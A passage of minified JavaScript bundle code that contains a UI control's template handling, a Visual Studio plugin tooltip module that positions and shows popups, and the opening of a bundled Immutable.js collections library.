e;this.onTemplateChanging();if(this.rootElement){e=this.rootElement;this.rootElement.control=null}this._templateId?this.rootElement=y.loadTemplate(this._templateId):this.rootElement=document.createElement("div");if(e){var t=e.attributes.getNamedItem(s.a.NAME);t&&this.rootElement.setAttribute(t.name,t.value)}this.rootElement.control=this;this._binding=new l(this);e&&e.parentElement&&e.parentElement.replaceChild(this.rootElement,e);this.onApplyTemplate()}}E.CLASS_DISABLED="disabled";E.CLASS_HIDDEN="BPT-hidden";E.ClassNamePropertyName="className";E.IsEnabledPropertyName="isEnabled";E.IsVisiblePropertyName="isVisible";E.ModelPropertyName="model";E.TabIndexPropertyName="tabIndex";E.TemplateIdPropertyName="templateId";E.TooltipPropertyName="tooltip";E.initialize()},function(e,t,n){"use strict";n.d(t,"b",function(){return J});n.d(t,"c",function(){return Y});n.d(t,"a",function(){return $});var o=n(0),r=n(10),i=n(5),a=n(11),s=n(46),l=n(31);const c=1e3,u=!1;let d,h,p,m,g=!1,f=null,_=!0,v={clientX:0,clientY:0,screenX:0,screenY:0},b=!0,C="",y=!1;function E(){return i.b.utilities.getDoubleClickTime()}function S(){g=!1}function T(e){if(!(g&&(void 0===e.useCachedDocument||"boolean"==typeof e.useCachedDocument&&e.useCachedDocument))){let t=s.a.Direction,n="</head>",o="<!DOCTYPE html>"+("<html "+('xmlns="http://www.w3.org/1999/xhtml" lang="'+s.a.Language+'" dir="'+t+'" style="overflow: hidden"')+">")+"<head>"+'<meta http-equiv="X-UA-Compatible" content="IE=Edge"/>'+'<meta charset="UTF-16">',r=document.head.querySelectorAll("style, link[type='text/css']");for(let e=0;e<r.length;e++){let t=r[e],n=document.createElement(t.nodeName),i=t.attributes;for(let e=0;e<i.length;e++)i[e].specified&&n.setAttribute(i[e].nodeName,i[e].nodeValue);n.innerHTML=t.innerHTML;o+=n.outerHTML}let i="</body>",a=(o+=n+'<body style="margin: 0px">')+e.content+i;e.content=a}g||(g=!0);w(e)}function w(e){if(!Object(a.isShowing)()){var t,n=k(e.clientCoordinates.X,e.clientCoordinates.Y,e.contentSize.Width,e.contentSize.Height);if(b){var o=document.implementation.createHTMLDocument("Tooltip Document");o.documentElement.innerHTML=e.content;t=o.getElementById("plugin-vs-tooltip").outerHTML;for(var i=document.head.querySelectorAll("#pluginCss, [data-necessary-for-tooltip]"),s=0;s<i.length;s++)C+=i[s].outerHTML;b=!1}else t=e.content;e.contentSize.Width>n.width&&(t=t.replace(`width: ${e.contentSize.Width}px`,`width: ${n.width}px`));var l={pluginId:Object(r.e)(),x:n.screenX,y:n.screenY,width:n.width,height:n.height,activate:!1,style:C,content:t,isTooltip:!0};Object(r.g)().call("ms:popup","showPopup",[l])}}function k(e,t,n,o){let r=18,i=10,a=e+(frameElement?frameElement.offsetLeft:document.documentElement.offsetLeft),s=t+(frameElement?frameElement.offsetTop:document.documentElement.offsetTop),l=Math.ceil(n),c=Math.ceil(o),u=parent.document.documentElement.clientWidth,d=parent.document.documentElement.clientHeight;s+=r;let h=u-i;if(n>h){l=h;a=i/2}return{screenX:a=x(a,u,l),screenY:s=x(s,d,c),width:l,height:c}}function x(e,t,n){let o=t-(e+n);if(o>0)return e;let r=e+o;return r<0?0:r}function I(){Object(a.isShowing)()||Object(r.g)().call("ms:popup","hidePopup",[])}function O(e){if(e){e.contentDiv.innerHTML="";e.parent=null;_=!0}}function L(e=!0){if(h){clearTimeout(h);h=null}if(p){clearTimeout(p);p=null}if(f){I();e&&O(f)}}function D(e,t){f&&f.parent===e&&L(t)}function R(){let e=document.createElement("div");e.setAttribute("id","plugin-vs-tooltip");return e}function P(){let e=document.createElement("div");e.setAttribute("id","plugin-vs-tooltip-nested-cell");return e}function M(){let e=document.createElement("div");e.setAttribute("id","plugin-vs-tooltip-content");return e}function A(){let e=document.createElement("div");e.id="plugin-vs-tooltip-measure-container";e.style.position="absolute";e.style.display="none";document.body.appendChild(e);return e}function B(){let e=R(),t=P();e.appendChild(t);let n=M();t.appendChild(n);e.contentDiv=n;return e}function N(){if(!_)throw new Error(Object(o.a)("JSPlugin.4004"));null===f&&(f=B()).contentDiv.addEventListener("mouseover",function(){f.style.display="none"});return f}function F(e){let t=N(),n=t.contentDiv;if(n){let o="boolean"==typeof e.contentContainsHTML?e.contentContainsHTML:u;"string"==typeof e.content&&o?n.innerHTML=e.content:e.content&&H(e.content,t)}return t}function H(e,t){if((t=t||N())&&e){let n=t.contentDiv;if(n){e.length>c&&(e=e.substr(0,c)+"...");n.innerText=e}}return t}function W(e){let t=e["box-sizing"];return"string"==typeof t&&"border-box"===t.toLowerCase()}function U(e,t){if(W(t))return e;return e-(parseInt(t["border-top-width"],10)+parseInt(t["border-bottom-width"],10)+parseInt(t["padding-top"],10)+parseInt(t["padding-bottom"],10))}function z(e,t){if(W(t))return e;return e-(parseInt(t["border-right-width"],10)+parseInt(t["border-left-width"],10)+parseInt(t["padding-left"],10)+parseInt(t["padding-right"],10))}function j(e,t){t.width&&(e.style.width=t.width);t.height&&(e.style.height=t.height);t.left&&(e.style.left=t.left);t.top&&(e.style.top=t.top)}function G(e,t){return"number"==typeof e[t]&&isFinite(e[t])}function V(e){return null!=e&&G(e,"Width")&&G(e,"Height")}function K(e){if(e.tooltip){let t=void 0===e.position||"number"!=typeof e.position.clientX?v.clientX:e.position.clientX,n=void 0===e.position||"number"!=typeof e.position.clientY,o=n?v.clientY:e.position.clientY;e.duration="number"==typeof e.duration?e.duration:10*(d||(d=E()));let r=-500,i=-500;m||(m=A());let a={Width:window.innerWidth,Height:window.innerHeight};if(V(a)){r=-a.Width;i=-a.Height;m.style.display="inline";m.style.top=i+"px";m.style.left=r+"px";m.style["min-width"]=a.Width+"px";m.style["min-height"]=a.Height+"px"}j(e.tooltip,{left:r+"px",top:i+"px",width:"auto",height:"auto"});m.appendChild(e.tooltip);e.tooltip.style.display="block";let s=e.tooltip.offsetWidth,l=e.tooltip.offsetHeight;m.style.display="none";let c=window.getComputedStyle(e.tooltip);j(e.tooltip,{left:"0px",top:"0px",width:z(s,c)+1+"px",height:U(l,c)+1+"px"});s+=1;l+=1;T({content:e.tooltip.outerHTML,clientCoordinates:{X:t,Y:o},contentSize:{Width:s,Height:l},ensureNotUnderMouseCursor:!0,placementTargetIsMouseRect:n,useCachedDocument:e.useCachedDocument});e.tooltip.style.display="none";m.removeChild(e.tooltip)}h=null;e.duration>0&&(p=window.setTimeout(function(){L(!1);p=null},e.duration))}function q(e,t,n,o,r){if(!e)return null;t="number"==typeof t?t:d||(d=E());r=void 0!==r?r:g;if(t<=0){K({tooltip:e,duration:n,position:o,useCachedDocument:r});return null}return window.setTimeout(function(){K({tooltip:e,duration:n,position:o,useCachedDocument:r})},t)}function X(e,t){if(!y){Object(l.b)().addEventListener("themechanged",function(){S()});y=!0}L();let n=g,r=null,i={};if(e&&"object"==typeof e){n&&"boolean"==typeof e.useCachedDocument&&(n=e.useCachedDocument);if(e.resource)if(e.content||""===e.content)try{r=H(Object(o.b)(e.resource))}catch(e){}else r=H(Object(o.b)(e.resource));r||!e.content&&""!==e.content||(r=F(e));if(!r)throw new Error(Object(o.a)("JSPlugin.4005"));i=e}else"string"==typeof e&&(r=H(e));if(!r)throw new Error(Object(o.a)("JSPlugin.4006"));r.parent=t;f=r;_=!1;h=q(r,i.delay,i.duration,{clientX:i.x,clientY:i.y},n)}function J(e){if(e&&e.addEventListener&&!e.__plugin_tooltip_initialized&&e.hasAttribute("data-plugin-vs-tooltip")){e.addEventListener("mouseover",n,!0);e.addEventListener("mouseout",o);e.addEventListener("mousedown",r);e.__plugin_tooltip_initialized=!0}function t(e,t){let n=t?t.parentNode:null;for(;n&&n!==document.body;){if(n===e)return!0;n=n.parentNode}return!1}function n(e){let i=e.currentTarget;if(!i.hasAttribute("data-plugin-vs-tooltip")){i.removeEventListener("mouseover",n);i.removeEventListener("mouseout",o);i.removeEventListener("mousedown",r);i.__plugin_tooltip_initialized=!1;return}if(f&&!_&&f.parent&&(f.parent===e.currentTarget||f.parent===e.target||t(f.parent,e.target)&&t(e.currentTarget,f.parent)))return;let a,s=i.getAttribute("data-plugin-vs-tooltip");X(a="string"==typeof s&&s.length>0&&"{"===s[0]?JSON.parse(s):s,e.currentTarget)}function o(e){e.relatedTarget&&e.currentTarget!==e.relatedTarget&&!t(e.currentTarget,e.relatedTarget)&&D(e.currentTarget)}function r(e){D(e.currentTarget,!1)}}document.addEventListener("DOMContentLoaded",function(){let e=document.querySelectorAll("[data-plugin-vs-tooltip]");for(let t=0;t<e.length;t++)J(e[t])},!1);document.addEventListener("mouseout",function(e){e.relatedTarget&&"HTML"!==e.relatedTarget.nodeName||L()},!1);document.addEventListener("mouseover",function(e){!e.target.__plugin_tooltip_initialized&&e.target.hasAttribute("data-plugin-vs-tooltip")&&J(e.target)},!0);document.addEventListener("mousemove",function(e){v.screenX=e.screenX;v.screenY=e.screenY;v.clientX=e.clientX;v.clientY=e.clientY},!1);function Y(e){X(e,null)}function $(e){L(e)}},function(e,t,n){o=function(){"use strict";var e=Array.prototype.slice;function t(e,t){t&&(e.prototype=Object.create(t.prototype));e.prototype.constructor=e}function n(e){return a(e)?e:q(e)}t(o,n);function o(e){return s(e)?e:X(e)}t(r,n);function r(e){return l(e)?e:J(e)}t(i,n);function i(e){return a(e)&&!c(e)?e:Y(e)}function a(e){return!(!e||!e[d])}function s(e){return!(!e||!e[h])}function l(e){return!(!e||!e[p])}function c(e){return s(e)||l(e)}function u(e){return!(!e||!e[m])}n.isIterable=a;n.isKeyed=s;n.isIndexed=l;n.isAssociative=c;n.isOrdered=u;n.Keyed=o;n.Indexed=r;n.Set=i;var d="@@__IMMUTABLE_ITERABLE__@@",h="@@__IMMUTABLE_KEYED__@@",p="@@__IMMUTABLE_INDEXED__@@",m="@@__IMMUTABLE_ORDERED__@@",g="delete",f=5,_=1<<f,v=_-1,b={},C={value:!1},y={value:!1};function E(e){e.value=!1;return e}function S(e){e&&(e.value=!0)}function T(){}function w(e,t){t=t||0;for(var n=Math.max(0,e.length-t),o=new Array(n),r=0;r<n;r++)o[r]=e[r+t];return o}function k(e){void 0===e.size&&(e.size=e.__iterate(I));return e.size}function x(e,t){if("number"!=typeof t){var n=t>>>0;if(""+n!==t||4294967295===n)return NaN;t=n}return t<0?k(e)+t:t}function I(){return!0}function O(e,t,n){return(0===e||void 0!==n&&e<=-n)&&(void 0===t||void 0!==n&&t>=n)}function L(e,t){return R(e,t,0)}function D(e,t){return R(e,t,t)}function R(e,t,n){return void 0===e?n:e<0?Math.max(0,t+e):void 0===t?e:Math.min(t,e)}var P=0,M=1,A=2,B="function"==typeof Symbol&&Symbol.iterator,N="@@iterator",F=B||N;function H(e){this.next=e}H.prototype.toString=function(){return"[Iterator]"};H.KEYS=P;H.VALUES=M;H.ENTRIES=A;H.prototype.inspect=H.prototype.toSource=function(){return this.toString()};H.prototype[F]=function(){return this};function W(e,t,n,o){var r=0===e?t:1===e?n:[t,n];o?o.value=r:o={value:r,done:!1};return o}function U(){return{value:void 0,done:!0}}function z(e){return!!V(e)}function j(e){return e&&"function"==typeof e.next}function G(e){var t=V(e);return t&&t.call(e)}function V(e){var t=e&&(B&&e[B]||e[N]);if("function"==typeof t)return t}function K(e){return e&&"number"==typeof e.length}t(q,n);function q(e){return null===e||void 0===e?ae():a(e)?e.toSeq():ce(e)}q.of=function(){return q(arguments)};q.prototype.toSeq=function(){return this};q.prototype.toString=function(){return this.__toString("Seq {","}")};q.prototype.cacheResult=function(){if(!this._cache&&this.__iterateUncached){this._cache=this.entrySeq().toArray();this.size=this._cache.length}return this};q.prototype.__iterate=function(e,t){return de(this,e,t,!0)};q.prototype.__iterator=function(e,t){return he(this,e,t,!0)};t(X,q);function X(e){return null===e||void 0===e?ae().toKeyedSeq():a(e)?s(e)?e.toSeq():e.fromEntrySeq():se(e)}X.prototype.toKeyedSeq=function(){return this};t(J,q);function J(e){return null===e||void 0===e?ae():a(e)?s(e)?e.entrySeq():e.toIndexedSeq():le(e)}J.of=function(){return J(arguments)};J.prototype.toIndexedSeq=function(){return this};J.prototype.toString=function(){return this.__toString("Seq [","]")};J.prototype.__iterate=function(e,t){return de(this,e,t,!1)};J.prototype.__iterator=function(e,t){return he(this,e,t,!1)};t(Y,q);function Y(e){return(null===e||void 0===e?ae():a(e)?s(e)?e.entrySeq():e:le(e)).toSetSeq()}Y.of=function(){return Y(arguments)};Y.prototype.toSetSeq=function(){return this};q.isSeq=ie;q.Keyed=X;q.Set=Y;q.Indexed=J;var $,Z,Q,ee="@@__IMMUTABLE_SEQ__@@";q.prototype[ee]=!0;t(te,J);function te(e){this._array=e;this.size=e.length}te.prototype.get=function(e,t){return this.has(e)?this._array[x(this,e)]:t};te.prototype.__iterate=function(e,t){for(var n=this._array,o=n.length-1,r=0;r<=o;r++)if(!1===e(n[t?o-r:r],r,this))return r+1;return r};te.prototype.__iterator=function(e,t){var n=this._array,o=n.length-1,r=0;return new H(function(){return r>o?U():W(e,r,n[t?o-r++:r++])})};t(ne,X);function ne(e){var t=Object.keys(e);this._object=e;this._keys=t;this.size=t.length}ne.prototype.get=function(e,t){return void 0===t||this.has(e)?this._object[e]:t};ne.prototype.has=function(e){return this._object.hasOwnProperty(e)};ne.prototype.__iterate=function(e,t){for(var n=this._object,o=this._keys,r=o.length-1,i=0;i<=r;i++){var a=o[t?r-i:i];if(!1===e(n[a],a,this))return i+1}return i};ne.prototype.__iterator=function(e,t){var n=this._object,o=this._keys,r=o.length-1,i=0;return new H(function(){var a=o[t?r-i:i];return i++>r?U():W(e,a,n[a])})};ne.prototype[m]=!0;t(oe,J);function oe(e){this._iterable=e;this.size=e.length||e.size}oe.prototype.__iterateUncached=function(e,t){if(t)return this.cacheResult().__iterate(e,t);var n=G(this._iterable),o=0;if(j(n))for(var r;!(r=n.next()).done&&!1!==e(r.value,o++,this););return o};oe.prototype.__iteratorUncached=function(e,t){if(t)return this.cacheResult().__iterator(e,t);var n=G(this._iterable);if(!j(n))return new H(U);var o=0;return new H(function(){var t=n.next();return t.done?t:W(e,o++,t.value)})};t(re,J);function re(e){this._iterator=e;this._iteratorCache=[]}re.prototype.__iterateUncached=function(e,t){if(t)return this.cacheResult().__iterate(e,t);for(var n,o=this._iterator,r=this._iteratorCache,i=0;i<r.length;)if(!1===e(r[i],i++,this))return i;for(;!(n=o.next()).done;){var a=n.value;r[i]=a;if(!1===e(a,i++,this))break}return i};re.prototype.__iteratorUncached=function(e,t){if(t)return this.cacheResult().__iterator(e,t);var n=this._iterator,o=this._iteratorCache,r=0;return new H(function(){if(r>=o.length){var t=n.next();if(t.done)return t;o[r]=t.value}return W(e,r,o[r++])})};function ie(e){return!(!e||!e[ee])}function ae(){return $||($=new te([]))}function se(e){var t=Array.isArray(e)?new te(e).fromEntrySeq():j(e)?new re(e).fromEntrySeq():z(e)?new oe(e).fromEntrySeq():"object"==typeof e?new ne(e):void 0;if(!t)throw new TypeError("Expected Array or iterable object of [k, v] entries, or keyed object: "+e);return t}function le(e){var t=ue(e);if(!t)throw new TypeError("Expected Array or iterable object of values: "+e);return t}function ce(e){var t=ue(e)||"object"==typeof e&&new ne(e);if(!t)throw new TypeError("Expected Array or iterable object of values, or keyed object: "+e);return t}function ue(e){return K(e)?new te(e):j(e)?new re(e):z(e)?new oe(e):void 0}function de(e,t,n,o){var r=e._cache;if(r){for(var i=r.length-1,a=0;a<=i;a++){var s=r[n?i-a:a];if(!1===t(s[1],o?s[0]:a,e))return a+1}return a}return e.__iterateUncached(t,n)}function he(e,t,n,o){var r=e._cache;if(r){var i=r.length-1,a=0;return new H(function(){var e=r[n?i-a:a];return a++>i?U():W(t,o?e[0]:a-1,e[1])})}return e.__iteratorUncached(t,n)}function pe(e,t){return t?me(t,e,"",{"":e}):ge(e)}function me(e,t,n,o){return Array.isArray(t)?e.call(o,n,J(t).map(function(n,o){return me(e,n,o,t)})):fe(t)?e.call(o,n,X(t).map(function(n,o){return me(e,n,o,t)})):t}function ge(e){return Array.isArray(e)?J(e).map(ge).toList():fe(e)?X(e).map(ge).toMap():e}function fe(e){return e&&(e.constructor===Object||void 0===e.constructor)}function _e(e,t){if(e===t||e!=e&&t!=t)return!0;if(!e||!t)return!1;if("function"==typeof e.valueOf&&"function"==typeof t.valueOf){if((e=e.valueOf())===(t=t.valueOf())||e!=e&&t!=t)return!0;if(!e||!t)return!1}return!("function"!=typeof e.equals||"function"!=typeof t.equals||!e.equals(t))}function ve(e,t){if(e===t)return!0;if(!a(t)||void 0!==e.size&&void 0!==t.size&&e.size!==t.size||void 0!==e.__hash&&void 0!==t.__hash&&e.__hash!==t.__hash||s(e)!==s(t)||l(e)!==l(t)||u(e)!==u(t))return!1;if(0===e.size&&0===t.size)return!0;var n=!c(e);if(u(e)){var o=e.entries();return t.every(function(e,t){var r=o.next().value;return r&&_e(r[1],e)&&(n||_e(r[0],t))})&&o.next().done}var r=!1;if(void 0===e.size)if(void 0===t.size)"function"==typeof e.cacheResult&&e.cacheResult();else{r=!0;var i=e;e=t;t=i}var d=!0,h=t.__iterate(function(t,o){if(n?!e.has(t):r?!_e(t,e.get(o,b)):!_e(e.get(o,b),t)){d=!1;return!1}});return d&&e.size===h}t(be,J);function be(e,t){if(!(this instanceof be))return new be(e,t);this._value=e;this.size=void 0===t?1/0:Math.max(0,t);if(0===this.size){if(Z)return Z;Z=this}}be.prototype.toString=function(){return 0===this.size?"Repeat []":"Repeat [ "+this._value+" "+this.size+" times ]"};be.prototype.get=function(e,t){return this.has(e)?this._value:t};be.prototype.includes=function(e){return _e(this._value,e)};be.prototype.slice=function(e,t){var n=this.size;return O(e,t,n)?this:new be(this._value,D(t,n)-L(e,n))};be.prototype.reverse=function(){return this};be.prototype.indexOf=function(e){return _e(this._value,e)?0:-1};be.prototype.lastIndexOf=function(e){return _e(this._value,e)?this.size:-1};be.prototype.__iterate=function(e,t){for(var n=0;n<this.size;n++)if(!1===e(this._value,n,this))return n+1;return n};be.prototype.__iterator=function(e,t){var n=this,o=0;return new H(function(){return o<n.size?W(e,o++,n._value):U()})};be.prototype.equals=function(e){return e instanceof be?_e(this._value,e._value):ve(e)};function Ce(e,t){if(!e)throw new Error(t)}t(ye,J);function ye(e,t,n){if(!(this instanceof ye))return new ye(e,t,n);Ce(0!==n,"Cannot step a Range by 0");e=e||0;void 0===t&&(t=1/0);n=void 0===n?1:Math.abs(n);t<e&&(n=-n);this._start=e;this._end=t;this._step=n;this.size=Math.max(0,Math.ceil((t-e)/n-1)+1);if(0===this.size){if(Q)return Q;Q=this}}ye.prototype.toString=function(){return 0===this.size?"Range []":"Range [ "+this._start+"..."+this._end+(1!==this._step?" by "+this._step:"")+" ]"};ye.prototype.get=function(e,t){return this.has(e)?this._start+x(this,e)*this._step:t};ye.prototype.includes=function(e){var t=(e-this._start)/this._step;return t>=0&&t<this.size&&t===Math.floor(t)};ye.prototype.slice=function(e,t){if(O(e,t,this.size))return this;e=L(e,this.size);return(t=D(t,this.size))<=e?new ye(0,0):new ye(this.get(e,this._end),this.get(t,this._end),this._step)};ye.prototype.indexOf=function(e){var t=e-this._start;if(t%this._step==0){var n=t/this._step;if(n>=0&&n<this.size)return n}return-1};ye.prototype.lastIndexOf=function(e){return this.indexOf(e)};ye.prototype.__iterate=function(e,t){for(var n=this.size-1,o=this._step,r=t?this._start+n*o:this._start,i=0;i<=n;i++){if(!1===e(r,i,this))return i+1;r+=t?-o:o}return i};ye.prototype.__iterator=function(e,t){var n=this.size-1,o=this._step,r=t?this._start+n*o:this._start,i=0;return new H(function(){var a=r;r+=t?-o:o;return i>n?U():W(e,i++,a)})};ye.prototype.equals=function(e){return e instanceof ye?this._start===e._start&&this._end===e._end&&this._step===e._step:ve(this,e)};t(Ee,n);function Ee(){throw TypeError("Abstract")}t(Se,Ee);function Se(){}t(Te,Ee);function Te(){}t(we,Ee);function we(){}Ee.Keyed=Se;Ee.Indexed=Te;Ee.Set=we;var ke="function"==typeof Math.imul&&-2===Math.imul(4294967295,2)?Math.imul:function(e,t){var n=65535&(e|=0),o=65535&(t|=0);return n*o+((e>>>16)*o+n*(t>>>16)<<16>>>0)|0};function xe(e){return e>>>1&1073741824|3221225471&e}function Ie(e){if(!1===e||null===e||void 0===e)return 0;if("function"==typeof e.valueOf&&(!1===(e=e.valueOf())||null===e||void 0===e))return 0;if(!0===e)return 1;var t=typeof e;if("number"===t){if(e!=e||e===1/0)return 0;var n=0|e;n!==e&&(n^=4294967295*e);for(;e>4294967295;)n^=e/=4294967295;return xe(n)}if("string"===t)return e.length>He?Oe(e):Le(e);if("function"==typeof e.hashCode)return e.hashCode();if("object"===t)return De(e);if("function"==typeof e.toString)return Le(e.toString());throw new Error("Value type "+t+" cannot be hashed.")}function Oe(e){var t=ze[e];if(void 0===t){t=Le(e);if(Ue===We){Ue=0;ze={}}Ue++;ze[e]=t}return t}function Le(e){for(var t=0,n=0;n<e.length;n++)t=31*t+e.charCodeAt(n)|0;return xe(t)}function De(e){var t;if(Be&&void 0!==(t=Ae.get(e)))return t;if(void 0!==(t=e[Fe]))return t;if(!Pe){if(void 0!==(t=e.propertyIsEnumerable&&e.propertyIsEnumerable[Fe]))return t;if(void 0!==(t=Me(e)))return t}t=++Ne;1073741824&Ne&&(Ne=0);if(Be)Ae.set(e,t);else{if(void 0!==Re&&!1===Re(e))throw new Error("Non-extensible objects are not allowed as keys.");if(Pe)Object.defineProperty(e,Fe,{enumerable:!1,configurable:!1,writable:!1,value:t});else if(void 0!==e.propertyIsEnumerable&&e.propertyIsEnumerable===e.constructor.prototype.propertyIsEnumerable){e.propertyIsEnumerable=function(){return this.constructor.prototype.propertyIsEnumerable.apply(this,arguments)};e.propertyIsEnumerable[Fe]=t}else{if(void 0===e.nodeType)throw new Error("Unable to set a non-enumerable property on object.");e[Fe]=t}}return t}var Re=Object.isExtensible,Pe=function(){try{Object.defineProperty({},"@",{});return!0}catch(e){return!1}}();function Me(e){if(e&&e.nodeType>0)switch(e.nodeType){case 1:return e.uniqueID;case 9:return e.documentElement&&e.documentElement.uniqueID}}var Ae,Be="function"==typeof WeakMap;Be&&(Ae=new WeakMap);var Ne=0,Fe="__immutablehash__";"function"==typeof Symbol&&(Fe=Symbol(Fe));var He=16,We=255,Ue=0,ze={};function je(e){Ce(e!==1/0,"Cannot perform this action with an infinite size.")}t(Ge,Se);function Ge(e){return null===e||void 0===e?rt():Ve(e)&&!u(e)?e:rt().withMutations(function(t){var n=o(e);je(n.size);n.forEach(function(e,n){return t.set(n,e)})})}Ge.of=function(){var t=e.call(arguments,0);return rt().withMutations(function(e){for(var n=0;n<t.length;n+=2){if(n+1>=t.length)throw new Error("Missing value for key: "+t[n]);e.set(t[n],t[n+1])}})};Ge.prototype.toString=function(){return this.__toString("Map {","}")};Ge.prototype.get=function(e,t){return this._root?this._root.get(0,void 0,e,t):t};Ge.prototype.set=function(e,t){return it(this,e,t)};Ge.prototype.setIn=function(e,t){return this.updateIn(e,b,function(){return t})};Ge.prototype.remove=function(e){return it(this,e,b)};Ge.prototype.deleteIn=function(e){return this.updateIn(e,function(){return b})};Ge.prototype.update=function(e,t,n){return 1===arguments.length?e(this):this.updateIn([e],t,n)};Ge.prototype.updateIn=function(e,t,n){if(!n){n=t;t=void 0}var o=ft(this,En(e),t,n);return o===b?void 0:o};Ge.prototype.clear=function(){if(0===this.size)return this;if(this.__ownerID){this.size=0;this._root=null;this.__hash=void 0;this.__altered=!0;return this}return rt()};Ge.prototype.merge=function(){return ht(this,void 0,arguments)};Ge.prototype.mergeWith=function(t){return ht(this,t,e.call(arguments,1))};Ge.prototype.mergeIn=function(t){var n=e.call(arguments,1);return this.updateIn(t,rt(),function(e){return"function"==typeof e.merge?e.merge.apply(e,n):n[n.length-1]})};Ge.prototype.mergeDeep=function(){return ht(this,pt,arguments)};Ge.prototype.mergeDeepWith=function(t){var n=e.call(arguments,1);return ht(this,mt(t),n)};Ge.prototype.mergeDeepIn=function(t){var n=e.call(arguments,1);return this.updateIn(t,rt(),function(e){return"function"==typeof e.mergeDeep?e.mergeDeep.apply(e,n):n[n.length-1]})};Ge.prototype.sort=function(e){return zt(dn(this,e))};Ge.prototype.sortBy=function(e,t){return zt(dn(this,t,e))};Ge.prototype.withMutations=function(e){var t=this.asMutable();e(t);return t.wasAltered()?t.__ensureOwner(this.__ownerID):this};Ge.prototype.asMutable=function(){return this.__ownerID?this:this.__ensureOwner(new T)};Ge.prototype.asImmutable=function(){return this.__ensureOwner()};Ge.prototype.wasAltered=function(){return this.__altered};Ge.prototype.__iterator=function(e,t){return new et(this,e,t)};Ge.prototype.__iterate=function(e,t){var n=this,o=0;this._root&&this._root.iterate(function(t){o++;return e(t[1],t[0],n)},t);return o};Ge.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;if(!e){this.__ownerID=e;this.__altered=!1;return this}return ot(this.size,this._root,e,this.__hash)};function Ve(e){return!(!e||!e[qe])}Ge.isMap=Ve;var Ke,qe="@@__IMMUTABLE_MAP__@@",Xe=Ge.prototype;Xe[qe]=!0;Xe[g]=Xe.remove;Xe.removeIn=Xe.deleteIn;function Je(e,t){this.ownerID=e;this.entries=t}Je.prototype.get=function(e,t,n,o){for(var r=this.entries,i=0,a=r.length;i<a;i++)if(_e(n,r[i][0]))return r[i][1];return o};Je.prototype.update=function(e,t,n,o,r,i,a){for(var s=r===b,l=this.entries,c=0,u=l.length;c<u&&!_e(o,l[c][0]);c++);var d=c<u;if(d?l[c][1]===r:s)return this;S(a);(s||!d)&&S(i);if(!s||1!==l.length){if(!d&&!s&&l.length>=yt)return ct(e,l,o,r);var h=e&&e===this.ownerID,p=h?l:w(l);d?s?c===u-1?p.pop():p[c]=p.pop():p[c]=[o,r]:p.push([o,r]);if(h){this.entries=p;return this}return new Je(e,p)}};function Ye(e,t,n){this.ownerID=e;this.bitmap=t;this.nodes=n}Ye.prototype.get=function(e,t,n,o){void 0===t&&(t=Ie(n));var r=1<<((0===e?t:t>>>e)&v),i=this.bitmap;return 0==(i&r)?o:this.nodes[_t(i&r-1)].get(e+f,t,n,o)};Ye.prototype.update=function(e,t,n,o,r,i,a){void 0===n&&(n=Ie(o));var s=(0===t?n:n>>>t)&v,l=1<<s,c=this.bitmap,u=0!=(c&l);if(!u&&r===b)return this;var d=_t(c&l-1),h=this.nodes,p=u?h[d]:void 0,m=at(p,e,t+f,n,o,r,i,a);if(m===p)return this;if(!u&&m&&h.length>=Et)return dt(e,h,c,s,m);if(u&&!m&&2===h.length&&st(h[1^d]))return h[1^d];if(u&&m&&1===h.length&&st(m))return m;var g=e&&e===this.ownerID,_=u?m?c:c^l:c|l,C=u?m?vt(h,d,m,g):Ct(h,d,g):bt(h,d,m,g);if(g){this.bitmap=_;this.nodes=C;return this}return new Ye(e,_,C)};function $e(e,t,n){this.ownerID=e;this.count=t;this.nodes=n}$e.prototype.get=function(e,t,n,o){void 0===t&&(t=Ie(n));var r=(0===e?t:t>>>e)&v,i=this.nodes[r];return i?i.get(e+f,t,n,o):o};$e.prototype.update=function(e,t,n,o,r,i,a){void 0===n&&(n=Ie(o));var s=(0===t?n:n>>>t)&v,l=r===b,c=this.nodes,u=c[s];if(l&&!u)return this;var d=at(u,e,t+f,n,o,r,i,a);if(d===u)return this;var h=this.count;if(u){if(!d&&--h<St)return ut(e,c,h,s)}else h++;var p=e&&e===this.ownerID,m=vt(c,s,d,p);if(p){this.count=h;this.nodes=m;return this}return new $e(e,h,m)};function Ze(e,t,n){this.ownerID=e;this.keyHash=t;this.entries=n}Ze.prototype.get=function(e,t,n,o){for(var r=this.entries,i=0,a=r.length;i<a;i++)if(_e(n,r[i][0]))return r[i][1];return o};Ze.prototype.update=function(e,t,n,o,r,i,a){void 0===n&&(n=Ie(o));var s=r===b;if(n!==this.keyHash){if(s)return this;S(a);S(i);return lt(this,e,t,n,[o,r])}for(var l=this.entries,c=0,u=l.length;c<u&&!_e(o,l[c][0]);c++);var d=c<u;if(d?l[c][1]===r:s)return this;S(a);(s||!d)&&S(i);if(s&&2===u)return new Qe(e,this.keyHash,l[1^c]);var h=e&&e===this.ownerID,p=h?l:w(l);d?s?c===u-1?p.pop():p[c]=p.pop():p[c]=[o,r]:p.push([o,r]);if(h){this.entries=p;return this}return new Ze(e,this.keyHash,p)};function Qe(e,t,n){this.ownerID=e;this.keyHash=t;this.entry=n}Qe.prototype.get=function(e,t,n,o){return _e(n,this.entry[0])?this.entry[1]:o};Qe.prototype.update=function(e,t,n,o,r,i,a){var s=r===b,l=_e(o,this.entry[0]);if(l?r===this.entry[1]:s)return this;S(a);if(!s){if(l){if(e&&e===this.ownerID){this.entry[1]=r;return this}return new Qe(e,this.keyHash,[o,r])}S(i);return lt(this,e,t,Ie(o),[o,r])}S(i)};Je.prototype.iterate=Ze.prototype.iterate=function(e,t){for(var n=this.entries,o=0,r=n.length-1;o<=r;o++)if(!1===e(n[t?r-o:o]))return!1};Ye.prototype.iterate=$e.prototype.iterate=function(e,t){for(var n=this.nodes,o=0,r=n.length-1;o<=r;o++){var i=n[t?r-o:o];if(i&&!1===i.iterate(e,t))return!1}};Qe.prototype.iterate=function(e,t){return e(this.entry)};t(et,H);function et(e,t,n){this._type=t;this._reverse=n;this._stack=e._root&&nt(e._root)}et.prototype.next=function(){for(var e=this._type,t=this._stack;t;){var n,o=t.node,r=t.index++;if(o.entry){if(0===r)return tt(e,o.entry)}else if(o.entries){if(r<=(n=o.entries.length-1))return tt(e,o.entries[this._reverse?n-r:r])}else if(r<=(n=o.nodes.length-1)){var i=o.nodes[this._reverse?n-r:r];if(i){if(i.entry)return tt(e,i.entry);t=this._stack=nt(i,t)}continue}t=this._stack=this._stack.__prev}return U()};function tt(e,t){return 